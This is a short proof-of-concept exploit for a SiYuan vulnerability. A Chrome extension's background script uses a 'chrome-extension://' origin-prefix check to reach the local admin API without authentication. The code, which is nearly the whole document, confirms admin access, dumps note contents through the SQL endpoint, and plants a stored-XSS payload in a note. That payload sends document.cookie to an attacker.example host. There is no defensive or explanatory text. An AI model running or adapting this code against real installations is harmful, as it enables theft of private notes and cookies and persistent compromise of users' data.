CVE-2026-54069: SiYuan Unauthenticated Admin API Access via chrome-extension:// Origin Bypass

// Minimal Chrome MV3 extension -- no special host_permissions needed.
// manifest.json
{
  "manifest_version": 3,
  "name": "SiYuan PoC",
  "version": "1.0",
  "background": { "service_worker": "bg.js" }
}

// bg.js
// Browser automatically sends Origin: chrome-extension://<id>
// session.go matched strings.HasPrefix(origin, "chrome-extension://")
// and set RoleAdministrator -- no auth token required.

// 1. Confirm admin access
fetch('http://127.0.0.1:6806/api/system/getConf', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: '{}'
}).then(r => r.json()).then(d => console.log('admin access:', d.code === 0));

// 2. Exfiltrate all notes via SQL
fetch('http://127.0.0.1:6806/api/query/sql', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ stmt: 'SELECT * FROM blocks LIMIT 100' })
}).then(r => r.json()).then(d => console.log('blocks:', d.data?.length));

// 3. Inject stored XSS into the first note
fetch('http://127.0.0.1:6806/api/filetree/listDocsByPath', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ notebook: '', path: '/' })
}).then(r => r.json()).then(tree => {
  const doc = tree.data?.files?.[0];
  if (!doc) return;
  fetch('http://127.0.0.1:6806/api/block/insertBlock', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({
      dataType: 'markdown',
      data: '<img src=x onerror="fetch(\'https://attacker.example/steal?c=\'+document.cookie)">',
      parentID: doc.id
    })
  });
});